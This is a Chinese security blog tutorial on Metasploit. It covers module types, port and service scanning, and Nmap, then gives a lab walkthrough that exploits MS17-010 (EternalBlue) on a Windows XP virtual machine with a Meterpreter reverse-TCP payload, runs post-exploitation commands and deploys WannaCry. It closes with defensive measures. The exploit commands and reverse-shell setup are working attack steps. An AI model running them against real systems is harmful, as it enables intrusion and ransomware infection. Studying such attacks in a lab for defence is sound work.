[系統安全] 三十七.Metasploit技術之基礎用法萬字詳解及防御機理
作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是關于安全工具和實踐操作的在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。該樣本不會分享給大家,分析工具會分享。(參考文獻見后)
一.Metasploit簡介
Metasploit是一款開源的安全漏洞檢測工具,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,并管理專家驅動的安全性進行評估,提供真正的安全風險情報。這些功能包括智能開發、代碼審計、Web應用程序掃描、社會工程等。
Metasploit框架(Metasploit Framework,MSF)是一個開源工具,旨在方便滲透測試,它是由Ruby程序語言編寫的模板化框架,具有很好的擴展性,便于滲透測試人員開發、使用定制的工具模板。Metasploit已成為當前信息安全與滲透測試領域最流行的術語。

Metasploit可向后端模塊提供多種用來控制測試的接口,如控制臺、Web、CLI。推薦使用控制臺接口,通過控制臺接口可以訪問和使用所有Metasploit的插件,如Payload、利用模塊、Post模塊等。Metasploit還有第三方程序的接口,比如Nmap、SQLMap等,可以直接在控制臺接口使用。
當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了。仿佛一夜之間,任何人都可以成為黑客,每個人都可以使用攻擊工具來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。軟件廠商再也不能推遲發布針對已公布漏洞的補丁,這是因為Metasploit團隊一直都在努力開發各種攻擊工具,并將它們貢獻給所有Metasploit用戶。
- https://www.rapid7.com/products/metasploit/download/

這篇文章主要以Kali系統為基礎,該操作系統預裝了Metasploit,訪問該界面,需要在命令行下輸入 msfconsole,MSF的啟動界面如下圖所示。
msfconsole


在使用Kali操作系統時因注意及時更新資源,就像平時更新收集APP一樣。更新命令主要包括:
- apt-get update
- 只更新軟件包的索引源,作用是同步源的軟件包的索引信息,從而進行軟件更新
- apt-get upgrade
- 升級系統上安裝的所有軟件包
- apt-get dist-upgrade
- 升級整個Linux系統
二.Metasploit基礎普及
1.專業術語
MSF框架由多個模塊組成,各個模塊的功能如下,這也是Web滲透的基礎術語。
(1) Auxiliaries:輔助模塊
該模塊不會直接在測試者和目標主機之間建立訪問,它們只負責執行掃描、嗅探、指紋識別等相關功能以輔助滲透測試。
(2) Exploit:漏洞利用模塊
漏洞利用是指由滲透測試者利用一個系統、應用或服務中的安全漏洞進行的攻擊行為。流行的滲透攻擊技術包括:
- 緩沖區溢出
- Web應用程序攻擊
- 利用配置錯誤
其中包含攻擊者或滲透人員針對系統中的漏洞而設計的各種POC驗證程序,用于破壞系統安全性的攻擊代碼,每個漏洞都有相應的攻擊代碼。
(3) Payload:攻擊載荷模塊
攻擊載荷是我們期望目標系統在被滲透攻擊之后完成實際攻擊功能的代碼,成功滲透目標后,用于在目標系統上運行任意命令或者執行特定代碼,在Metasploit框架中可以自由地選擇、傳送和植入。攻擊載荷也可能是簡單地目標操作系統上執行一些命令,如添加用戶賬號等。
(4) Post:后期滲透模塊
該模塊主要用于取得目標系統遠程控制權后,進行一系列的后滲透攻擊動作,如獲取敏感信息、實施跳板攻擊等。
(5) Encoders:編碼工具模塊
該模塊在滲透測試中負責免殺,以防止被殺毒軟件、防火墻、IDS及類似的安全軟件檢測出來。
2.滲透步驟及攻擊鏈
使用MSF滲透測試時,可以綜合使用以上模塊,對目標系統進行偵查并發動攻擊,大致的步驟如下所示:
- 掃描目標主機系統,尋找可用漏洞
- 選擇并配置一個漏洞利用模塊
- 選擇并配置一個攻擊載荷模塊
- 選擇一個編碼技術,用來繞過殺毒軟件的查殺
- 滲透攻擊
注意,實戰才是最好的老師,希望大家了解MSF基礎用法后,在一些靶場或授權網站上進行滲透測試。同時,為了方便大家理解滲透流程,作者回顧下之前介紹的攻擊鏈。攻擊鏈通常分為七個階段:
- 偵查目標(Reconnaissance):偵查目標,充分利用社會工程學了解目標網絡。
- 制作工具(Weaponization):主要是指制作定向攻擊工具,例如帶有惡意代碼的pdf文件或office文件。
- 傳送工具(Delivery):輸送攻擊工具到目標系統上,常用的手法包括郵件的附件、網站(掛馬)、U盤等。
- 觸發工具(Exploitation):利用目標系統的應用或操作系統漏洞,在目標系統觸發攻擊工具運行。
- 安裝木馬(Installation):遠程控制程序(特馬)的安裝,使得攻擊者可以長期潛伏在目標系統中。
- 建立連接(Command and Control):與互聯網控制器服務器建立一個C2信道。
- 執行攻擊(Actions on Objectives):執行所需要得攻擊行為,例如偷取信息、篡改信息等。

三.主機掃描
掃描和收集信息是滲透測試的第一步,其主要目標是盡可能多地發現有關目標機器的信息。獲取的信息越多,滲透的概率越大。該步驟主要的關注點是:
- 目標主機IP地址
- 可用服務
- 開放端口
1.使用輔助模塊進行端口掃描
輔助模塊是Metasploit的內置模塊。
第一步,利用search命令搜索有哪些可用端口模塊。
search portscan
從下圖中可以看到可用的掃描器列表,其中包含了各種掃描類型。

第二步,以TCP掃描模塊為例。輸入use命令使用該漏洞利用模塊,然后show options查看需要設置的參數。
use auxiliary/scanner/portscan/tcp show options
輸入命令時,按下tab鍵會自動補齊,輸出結果如下圖所示。在Required列中,被標記為yes的參數必須包含實際的值,其中:
- RHOSTS - 設置待掃描的IP地址
- PORTS - 設置掃描端口范圍
- THREDAS - 設置掃描線程,線程數越高,掃描的速度越多

第三步,使用set命令設置相應參數,查看目標主機開放端口。
當然,也可以使用unset命令取消某個參數值的設置。這里的目標主機是XP系統,其IP地址為 192.168.44.135 。

具體命令如下,可以看到目標主機開了 135、139、445 三個端口。
set RHOSTS 192.168.44.135set PORTS 1-500set THREADS 20show options run
輸出結果如下圖所示。還有兩個可選命令,setg和unsetg,二者用于在msfconsole中設置或取消設置全局性的參數值,從而避免重復輸入相同的值。

2.使用輔助模塊進行服務掃描
在掃描目標機器上運行的服務時,有多種基于服務的掃描技術可供選擇,例如VNC、FTP、SMB等,只需執行特定類型的掃描就可以發現服務。
通過 search 命令搜索 scanner 可以發現大量的掃描模塊,讀者可以嘗試不同的輔助掃描模塊,了解其功能。使用步驟和使用端口掃描模塊時基本相同,后續文章也會陸續介紹不同的用法。
常用的掃描模塊包括:
(1) 端口掃描
- auxiliary/scanner/portscan
- 端口掃描
(2) SMB掃描
- auxiliary/scanner/smb/smb_version
- SMB系統版本掃描
- auxiliary/scanner/smb/smb_enumusers
- SMB枚舉
- auxiliary/scanner/smb/smb_login
- SMB弱口令掃描
- auxiliary/scanner/smb/psexec_command
- SMB登錄執行命令
(3) SSH掃描
- auxiliary/scanner/ssh/ssh_login
- SSH登錄測試
(4) MSSQL掃描
- scanner/mssql/mssql_ping
- MSSQL主機信息掃描
- admin/mssql/mssql_enum
- MSSQL枚舉
- admin/mssql/mssql_exec
- MSSQL執行命令
- admin/mssql/mssql_sql
- MSSQL查詢
- admin/mssql/mssql_login
- MSSQL弱口令掃描
(5) MySQL掃描
- auxiliary/admin/mysql/mssql_enum
- MySQL枚舉
- auxiliary/admin/mysql/mssql_sql
- MySQL語句執行
- auxiliary/scanner/mysql/mssql_login
- MySQL弱口令掃描
(6) SMTP掃描
- auxiliary/scanner/smtp/smtp_version
- SMTP版本掃描
- auxiliary/scanner/smtp/smtp_enum
- SMTP枚舉
(7) 其他
- auxiliary/scanner/snmp/community
- SNMP掃描設備
- auxiliary/scanner/telnet/telnet_login
- Telnet登錄
- scanner/vnc/vnc_none_auth
- VNC空口令掃描
3.使用Nmap掃描
在Metasploit中同樣可以使用Nmap掃描,Nmap不僅可以用來確定目標網絡上計算機的存活狀態,而且可以掃描計算機的操作系統、開放端口、服務等。熟練掌握Nmap的用法可以極大地提高個人的滲透測試技術。
實際上,在msf命令提示符下輸入nmap,就可以顯示Nmap提供的掃描選項列表,如下圖所示:

我們要獲取目標主機的操作系統,則輸入 nmap -O -Pn/-p0 URI 命令,其中Pn和-p0參數是不使用ping的方式,而假定所有主機系統都是活動的,可以穿透防火墻,也可以避免防火墻發現。運行如下圖所示:
nmap -O -Pn 192.168.44.135
輸出結果如下圖所示,可以看到目標主機的操作系統如下,后續作者會詳細寫一篇文章介紹Nmap的用法。
- Windows 2000 | XP

四.漏洞利用之MS17-010案例
每個操作系統都會存在各種漏洞,像微公司會快速針對漏洞進行打補丁,供用戶提供更新。而沒有公布補丁的Bug就是所謂的0day漏洞,其危害極大,也很受黑客和安全人員的喜愛。
實際上,像微軟這樣的公司都會針對自己的產品定期發布補丁,但是否下載取決于用戶自身。由于安全意識薄弱的個人或中小企業往往會忽略這些工作,打補丁可能會影響平時的工作,這種1day漏洞所造成的傷害也非常嚴重。
下面我們對Windows XP系統進行MS17-010漏洞的復現,前面我通過四篇文章逆向WannaCry時,詳細復現過該漏洞,希望大家喜歡。
1.背景知識
2017年5月12日,WannaCry蠕蟲通過永恒之藍MS17-010漏洞在全球范圍大爆發,感染大量的計算機。WannaCry勒索病毒全球大爆發,至少150個國家、30萬名用戶中招,造成損失達80億美元,已影響金融、能源、醫療、教育等眾多行業,造成嚴重的危害。
WannaCry是一種“蠕蟲式”勒索病毒軟件,由不法分子利用NSA泄露方程式工具包的危險漏洞“EternalBlue”(永恒之藍)進行傳播。該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量文件被加密。
WannaCry利用Windows系統的SMB漏洞獲取系統的最高權限,該工具通過惡意代碼掃描開放445端口的Windows系統。被掃描到的Windows系統,只要開機上線,不需要用戶進行任何操作,即可通過SMB漏洞上傳WannaCry勒索病毒等惡意程序。

WannaCry利用永恒之藍漏洞進行網絡端口掃描攻擊,目標機器被成功攻陷后會從攻擊機下載WannaCry蠕蟲進行感染,并作為攻擊機再次掃描互聯網和局域網的其他機器,行成蠕蟲感染大范圍超快速擴散。其核心流程如下圖所示(源自安天):

WannaCry勒索病毒主要行為是傳播和勒索。
- 傳播:利用基于445端口的SMB漏洞MS17-010(永恒之藍)進行傳播
- 勒索:釋放文件,包括加密器、解密器、說明文件、語言文件等;加密文件;設置桌面背景、窗體信息及付款賬號等。
2.漏洞利用復現
實驗環境:
- 攻擊機:Kali-linux-2019.2 IP:192.168.44.138
- 受害主機:WinXP 64位 IP:192.168.44.135
實驗工具:
- metasploit
- MS17-010
- Wcry.exe
實驗步驟:
- 配置Windows XP、Kali實驗環境
- Kali檢測受害主機445端口(SMB協議)是否開啟
- 運行EternalBlue永恒之藍漏洞(MS17-010)反彈shell
- 上傳勒索病毒wcry.exe并運行實現勒索和文件加密(該文章不實現)
切記、切記、切記:實驗復現過程中必須在虛擬機中完成,運行之前關閉虛擬機Win7文件共享,真機上一旦被感染你就真的只能想哭了(wannacry)。同時,該實驗比上一篇文章精簡很多,更推薦該方法。
第一步,保證攻擊機和受害機相互通訊,均在同一個局域網中。

第二步,掃描靶機是否開啟445端口。
- nmap -sS 192.168.44.135

第三步,打開msfconsole并查詢MS17-010漏洞模塊。
這里有各種MS17-010漏洞版本,我們根據目標系統選擇編號為3的版本。推薦讀者看看NSA泄露的方程式工具包,其中永恒之藍(eternalblue)就是著名的漏洞。
- msfconsole
- search ms17-010


第四步,利用永恒之藍漏洞并設置參數。
- use exploit/windows/smb/ms17_010_eternalblue
- 利用永恒之藍漏洞
- set payload windows/x64/meterpreter/reverse_tcp
- 設置payload
- set LHOST 192.168.44.138
- 設置本機IP地址
- set RHOSTS 192.168.44.135
- 設置受害主機IP
- set RPORT 445
- 設置端口445,注意該端口共享功能是高危漏洞端口,包括之前分享的139、3389等
- exploit
- 利用漏洞

通過 show options 可以查看我們設置的參數值。

注意,這里Win7和Win XP系統設置略有區別。如果用Win7的模塊去攻擊XP系統,會造成計算機重啟,攻擊失敗,如下圖所示。


Windows XP設置的exp如下:
- exploit/windows/smb/ms17_010_eternalblue

運行成功結果如下圖所示:

第五步,成功獲取Windows系統管理員權限。
- pwd、ls
- 查看當前路徑及目錄
- getuid
- 返回系統管理員權限

第六步,在目標主機上創建文件,嘗試控制目標。
cd ..# 創建文件夾mkdir hacker# 訪問目錄dircd hacker# 創建文件并寫入內容echo helloworld>test.txt# 查看目標系統的基本信息sysinfo


第七步,上傳WannaCry。再次強調,虛擬機中運行該實驗,并且關閉文件共享功能,同時蠕蟲和漏洞利用分析是為了幫助大家了解原理進行防御。
- shell

運行病毒程序后的界面如下圖所示,已經成功被勒索。再次強調,所有代碼必須在虛擬機中執行,并且關閉文件共享。

WannaCry蠕蟲加密系統中的文件,被加密的文件后綴名統一修改為“.WNCRY”。
- b.wnry: 中招敲詐者后桌面壁紙
- c.wnry: 配置文件,包含洋蔥域名、比特幣地址、tor下載地址等
- f.wnry: 可免支付解密的文件列表
- r.wnry: 提示文件,包含中招提示信息
- s.wnry: zip文件,包含Tor客戶端
- t.wnry: 測試文件
- u.wnry: 解密程序


3.防御措施
至此,我們已經成功利用了MS17-010漏洞實現入侵,其防御常見的措施如下:
- 開啟系統防火墻
- 關閉445、139等端口連接
- 開啟系統自動更新,下載并更新補丁,及時修復漏洞
- 為計算機安全最新補丁,微軟已經發布補丁MS17-010修復該漏洞,讀者也可以通過第三方工具下載補丁
- 安裝安全軟件,開啟主動防御進行攔截查殺
- 如非服務需要,建議把高危漏洞的端口都關閉,比如 135、137、138、139、445、3389 等
- 開啟防火墻,及時備份重要文件
由于WannaCry等勒索病毒主要通過445端口入侵計算機,關閉的方法如下:
- 控制面板–>windows防火墻—>高級選項–>入站規則
- 新建規則–>選擇端口–>指定端口號445
- 選擇阻止連接–>配置文件全選–>規則名稱–>成功關閉
實驗在虛擬機中進行,也需要關閉共享文件夾功能,如下圖所示。

五.總結
寫到這里,這篇文章就介紹完畢,希望您喜歡,本文主要是學習徐焱老師他們的《Web安全攻防滲透測試實戰指南》,同時結合作者之前的漏洞利用及WannaCry逆向經驗總結。
- 一.Metasploit簡介
- 二.Metasploit基礎普及
- 1.專業術語
- 2.滲透步驟及攻擊鏈
- 三.主機掃描
- 1.使用輔助模塊進行端口掃描
- 2.使用輔助模塊進行服務掃描
- 3.使用Nmap掃描
- 四.漏洞利用之MS17-010案例
- 1.背景知識
- 2.漏洞利用復現
- 3.防御措施
學安全兩年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。
《珈國情》
明月千里兩相思,
清風縷縷寄離愁。
燕歸珞珈花已謝,
情滿景逸映深秋。
(By:Eastmount 2022-08-10 夜于地球 )